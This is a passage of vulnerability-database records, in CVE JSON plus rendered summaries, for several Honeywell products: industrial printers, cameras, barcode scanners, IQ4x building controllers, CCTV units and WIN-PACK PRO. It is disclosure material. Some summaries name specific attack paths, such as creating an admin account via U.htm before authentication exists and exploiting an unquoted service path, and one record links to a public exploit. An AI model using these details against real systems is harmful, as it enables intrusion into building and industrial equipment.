"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing authentication for critical function",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-434",
"description": "CWE-434 Unrestricted upload of file with dangerous type",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper neutralization of special elements used in an OS command (\u0027OS command injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-24T18:24:36.005Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://www.honeywell.com/us/en/legal/product-security#security-notices"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Unauthenticated RCE Arbitrary File Upload Honeywell PD45 Industrial Printer version F10.19.010040",
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2026-13249",
"datePublished": "2026-09-24T18:24:36.005Z",
"dateReserved": "2026-06-24T18:04:29.668Z",
"dateUpdated": "2026-09-24T18:38:06.812Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17612 (GCVE-0-2026-17612)
Vulnerability from cvelistv5 – Published: 2026-07-27 18:45 – Updated: 2026-07-27 19:37
VLAI
EPSS
VEX
Title
Audit Log Exposure through Unauthorized Access
Summary
Honeywell S35 Series 3M/5M/8M/PinHole Cameras, all versions prior to and including version HC5.26.1.14.20260207 contains an audit log disclosure Vulnerability that could allow an attacker to access audit logs without authentication, potentially resulting in the disclosure of sensitive information. Honeywell recommends updating to the latest available version (HC5.26.1.16.20260207) once available.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-27 19:37 UTC
CWE
- CWE-200 - - Exposure of Sensitive Information to an Unauthorized Actor
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | S35 Series 3M/5M/8M/PinHole Cameras |
Affected:
HC4.25.1.27.20250728 , ≤ HC5.26.1.14.20260207
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17612",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-27T19:37:31.825233Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-27T19:37:40.824Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "S35 Series 3M/5M/8M/PinHole Cameras",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "HC5.26.1.14.20260207",
"status": "affected",
"version": "HC4.25.1.27.20250728",
"versionType": "custom"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Honeywell S35 Series 3M/5M/8M/PinHole Cameras, all versions prior to and including version HC5.26.1.14.20260207 contains an\u0026nbsp;audit log disclosure Vulnerability\u0026nbsp;that could allow an attacker to access audit logs\u0026nbsp;without authentication, potentially resulting in the disclosure of sensitive information. Honeywell recommends updating to the latest available version (HC5.26.1.16.20260207) once available."
}
],
"value": "Honeywell S35 Series 3M/5M/8M/PinHole Cameras, all versions prior to and including version HC5.26.1.14.20260207 contains an\u00a0audit log disclosure Vulnerability\u00a0that could allow an attacker to access audit logs\u00a0without authentication, potentially resulting in the disclosure of sensitive information. Honeywell recommends updating to the latest available version (HC5.26.1.16.20260207) once available."
}
],
"impacts": [
{
"capecId": "CAPEC-118",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-118 \u2013 Collect Data from Information Repositories"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-27T18:45:35.455Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://myhoneywellbuildingsuniversity.com/training/asp_support_download_center"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Audit Log Exposure through Unauthorized Access",
"x_generator": {
"engine": "Vulnogram 1.0.2"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2026-17612",
"datePublished": "2026-07-27T18:45:35.455Z",
"dateReserved": "2026-07-27T18:45:08.664Z",
"dateUpdated": "2026-07-27T19:37:40.824Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4272 (GCVE-0-2026-4272)
Vulnerability from cvelistv5 – Published: 2026-04-05 22:00 – Updated: 2026-04-06 14:01
VLAI
EPSS
VEX
Title
CVE-2026-4272 - Bluetooth Remote Execution of System Commands Vulnerability
Summary
Missing Authentication for Critical Function vulnerability in Honeywell Handheld Scanners allows Authentication Abuse.This issue affects Handheld Scanners: from C1 Base(Ingenic x1000) before GK000432BAA, from D1 Base(Ingenic x1600) before HE000085BAA, from A1/B1 Base(IMX25) before BK000763BAA_BK000765BAA_CU000101BAA.
This vulnerability could allow a remote attacker within Bluetooth range of the scanner's base station has the capability to remotely execute system commands on the host connected to the base station without authentication. This issue has been assigned CVE-2026-4272 https://nvd.nist.gov/vuln/detail/CVE-2026-4272 and rated with a severity of High. Honeywell strongly recommends that users upgrade to the latest version identified to resolve the vulnerability.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-06 14:00 UTC
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | Barcode Scanners |
Affected:
C1 Base(Ingenic x1000) , < GK000432BAA
(custom)
Affected: D1 Base(Ingenic x1600) , < HE000085BAA (custom) Affected: A1/B1 Base(IMX25) , < BK000763BAA_BK000765BAA_CU000101BAA (custom) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4272",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-06T14:00:57.144252Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-06T14:01:35.115Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Barcode Scanners",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "GK000432BAA",
"status": "affected",
"version": "C1 Base(Ingenic x1000)",
"versionType": "custom"
},
{
"lessThan": "HE000085BAA",
"status": "affected",
"version": "D1 Base(Ingenic x1600)",
"versionType": "custom"
},
{
"lessThan": "BK000763BAA_BK000765BAA_CU000101BAA",
"status": "affected",
"version": "A1/B1 Base(IMX25)",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Kaspersky"
},
{
"lang": "en",
"type": "finder",
"value": "Haidar Kabibo"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Missing Authentication for Critical Function vulnerability in Honeywell Handheld Scanners allows Authentication Abuse.\u003cp\u003eThis issue affects Handheld Scanners: from C1 Base(Ingenic x1000) before GK000432BAA, from D1 Base(Ingenic x1600) before HE000085BAA, from A1/B1 Base(IMX25) before BK000763BAA_BK000765BAA_CU000101BAA.\u003c/p\u003eThis vulnerability could allow a remote attacker within Bluetooth range of the scanner\u0027s base station has the capability to remotely execute system commands on the host connected to the base station without authentication. This issue has been assigned\u0026nbsp;\u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-4272\"\u003eCVE-2026-4272\u003c/a\u003e and rated with a severity of High. Honeywell strongly recommends that users upgrade to the latest version identified to resolve the vulnerability.\u003cbr\u003e\u003cbr\u003e\u003cbr\u003e"
}
],
"value": "Missing Authentication for Critical Function vulnerability in Honeywell Handheld Scanners allows Authentication Abuse.This issue affects Handheld Scanners: from C1 Base(Ingenic x1000) before GK000432BAA, from D1 Base(Ingenic x1600) before HE000085BAA, from A1/B1 Base(IMX25) before BK000763BAA_BK000765BAA_CU000101BAA.\n\nThis vulnerability could allow a remote attacker within Bluetooth range of the scanner\u0027s base station has the capability to remotely execute system commands on the host connected to the base station without authentication. This issue has been assigned\u00a0 CVE-2026-4272 https://nvd.nist.gov/vuln/detail/CVE-2026-4272 and rated with a severity of High. Honeywell strongly recommends that users upgrade to the latest version identified to resolve the vulnerability."
}
],
"impacts": [
{
"capecId": "CAPEC-114",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-114 Authentication Abuse"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-05T22:00:27.141Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://https://nvd.nist.gov/vuln/detail/CVE-2026-4272"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "CVE-2026-4272 - Bluetooth Remote Execution of System Commands Vulnerability",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2026-4272",
"datePublished": "2026-04-05T22:00:27.141Z",
"dateReserved": "2026-03-16T14:45:35.186Z",
"dateUpdated": "2026-04-06T14:01:35.115Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-3611 (GCVE-0-2026-3611)
Vulnerability from cvelistv5 – Published: 2026-03-12 20:06 – Updated: 2026-03-30 15:26
VLAI
EPSS
VEX
Title
Honeywell IQ4x BMS Controller Missing authentication for critical function
Summary
The Honeywell IQ4x building management controller, exposes its full web-based HMI without authentication in its factory-default configuration. With no user module configured, security is disabled by design and the system operates under a System Guest (level 100) context, granting read/write privileges to any party able to reach the HTTP interface. Authentication controls are only enforced after a web user is created via U.htm, which dynamically enables the user module. Because this function is accessible prior to authentication, a remote user can create a new account with administrative read/write permissions enabling the user module and imposing authentication under attacker-controlled credentials. This action can effectively lock legitimate operators out of local and web-based configuration and administration.
Severity
10 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-13 18:02 UTC
CWE
- CWE-306 - Missing authentication for critical function
Assigner
References
Impacted products
7 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | IQ4E |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ412 |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ422 |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ4NC |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ41x |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ3 |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQECO |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
Date Public
2026-03-10 17:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-3611",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-13T18:02:46.954644Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-13T18:03:02.081Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "IQ4E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ412",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ422",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ4NC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ41x",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ3",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQECO",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Gjoko Krstic of Zero Science reported this vulnerability to Honeywell."
}
],
"datePublic": "2026-03-10T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell IQ4x building management controller, exposes its full web-based HMI without authentication in its factory-default configuration. With no user module configured, security is disabled by design and the system operates under a System Guest (level 100) context, granting read/write privileges to any party able to reach the HTTP interface. Authentication controls are only enforced after a web user is created via U.htm, which dynamically enables the user module. Because this function is accessible prior to authentication, a remote user can create a new account with administrative read/write permissions enabling the user module and imposing authentication under attacker-controlled credentials. This action can effectively lock legitimate operators out of local and web-based configuration and administration."
}
],
"value": "The Honeywell IQ4x building management controller, exposes its full web-based HMI without authentication in its factory-default configuration. With no user module configured, security is disabled by design and the system operates under a System Guest (level 100) context, granting read/write privileges to any party able to reach the HTTP interface. Authentication controls are only enforced after a web user is created via U.htm, which dynamically enables the user module. Because this function is accessible prior to authentication, a remote user can create a new account with administrative read/write permissions enabling the user module and imposing authentication under attacker-controlled credentials. This action can effectively lock legitimate operators out of local and web-based configuration and administration."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 10,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 10,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing authentication for critical function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-30T15:26:08.604Z",
"orgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"shortName": "icscert"
},
"references": [
{
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-069-03"
},
{
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-069-03.json"
},
{
"url": "https://www.honeywell.com/us/en/contact"
}
],
"source": {
"advisory": "ICSA-26-069-03",
"discovery": "EXTERNAL"
},
"title": "Honeywell IQ4x BMS Controller Missing authentication for critical function",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Honeywell is aware of the issue, but has not released a fix. For more \ninformation, contact Honeywell directly. \n[https://www.honeywell.com/us/en/contact](https://www.honeywell.com/us/en/contact)."
}
],
"value": "Honeywell is aware of the issue, but has not released a fix. For more \ninformation, contact Honeywell directly. \n[https://www.honeywell.com/us/en/contact](https://www.honeywell.com/us/en/contact)."
}
],
"x_generator": {
"engine": "Vulnogram 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"assignerShortName": "icscert",
"cveId": "CVE-2026-3611",
"datePublished": "2026-03-12T20:06:05.753Z",
"dateReserved": "2026-03-05T18:12:38.425Z",
"dateUpdated": "2026-03-30T15:26:08.604Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-1670 (GCVE-0-2026-1670)
Vulnerability from cvelistv5 – Published: 2026-02-17 22:56 – Updated: 2026-02-18 20:45
VLAI
EPSS
VEX
Title
Honeywell CCTV Products Missing Authentication for Critical Function
Summary
The affected products are vulnerable to an unauthenticated API endpoint exposure, which may allow an attacker to remotely change the "forgot password" recovery email address.
Severity
9.8 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-18 20:45 UTC
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
Impacted products
4 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | I-HIB2PI-UL 2MP IP |
Affected:
6.1.22.1216
|
|
| Honeywell | SMB NDAA MVO-3 |
Affected:
WDR_2MP_32M_PTZ_v2.0
|
|
| Honeywell | PTZ WDR 2MP 32M |
Affected:
WDR_2MP_32M_PTZ_v2.0
|
|
| Honeywell | 25M IPC |
Affected:
WDR_2MP_32M_PTZ_v2.0
|
Date Public
2026-02-17 17:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-1670",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-18T20:45:37.144272Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-18T20:45:46.226Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "I-HIB2PI-UL 2MP IP",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "6.1.22.1216"
}
]
},
{
"defaultStatus": "unaffected",
"product": "SMB NDAA MVO-3",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "WDR_2MP_32M_PTZ_v2.0"
}
]
},
{
"defaultStatus": "unaffected",
"product": "PTZ WDR 2MP 32M",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "WDR_2MP_32M_PTZ_v2.0"
}
]
},
{
"defaultStatus": "unaffected",
"product": "25M IPC",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "WDR_2MP_32M_PTZ_v2.0"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Souvik Kandar reported this vulnerability to CISA."
}
],
"datePublic": "2026-02-17T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The affected products are vulnerable to an unauthenticated API endpoint exposure, which may allow an attacker to remotely change the \"forgot password\" recovery email address."
}
],
"value": "The affected products are vulnerable to an unauthenticated API endpoint exposure, which may allow an attacker to remotely change the \"forgot password\" recovery email address."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-17T22:56:00.586Z",
"orgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"shortName": "icscert"
},
"references": [
{
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-048-04"
},
{
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-048-04.json"
},
{
"url": "https://www.honeywell.com/us/en/contact/support"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Honeywell recommends users contact Honeywell at \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://www.honeywell.com/us/en/contact/support\"\u003ehttps://www.honeywell.com/us/en/contact/support\u003c/a\u003e for patch information.\u003cbr\u003e"
}
],
"value": "Honeywell recommends users contact Honeywell at https://www.honeywell.com/us/en/contact/support for patch information."
}
],
"source": {
"advisory": "ICSA-26-048-04",
"discovery": "EXTERNAL"
},
"title": "Honeywell CCTV Products Missing Authentication for Critical Function",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"assignerShortName": "icscert",
"cveId": "CVE-2026-1670",
"datePublished": "2026-02-17T22:56:00.586Z",
"dateReserved": "2026-01-30T00:35:22.440Z",
"dateUpdated": "2026-02-18T20:45:46.226Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2021-47868 (GCVE-0-2021-47868)
Vulnerability from cvelistv5 – Published: 2026-01-21 17:27 – Updated: 2026-03-05 01:29
VLAI
EPSS
VEX
Title
WIN-PACK PRO 4.8 - 'WPCommandFileService' Unquoted Service Path
Summary
WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the WPCommandFileService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe to inject malicious code that would execute with LocalSystem permissions.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-22 16:47 UTC
CWE
- CWE-428 - Unquoted Search Path or Element
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/49692 | exploit |
| https://www.security.honeywell.com/product-reposi… | product |
| https://www.vulncheck.com/advisories/win-pack-pro… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | WIN-PACK PRO |
Affected:
4.8
cpe:2.3:a:honeywell:win-pak:4.8:*:*:*:*:*:*:* |
Date Public
2021-03-16 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2021-47868",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-22T16:47:10.898897Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-22T16:52:36.282Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "WIN-PACK PRO",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "4.8"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:honeywell:win-pak:4.8:*:*:*:*:*:*:*",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Alan Mondragon"
}
],
"datePublic": "2021-03-16T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the WPCommandFileService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\\Program Files \u003cx86\u003e\\WINPAKPRO\\WPCommandFileService Service.exe to inject malicious code that would execute with LocalSystem permissions."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
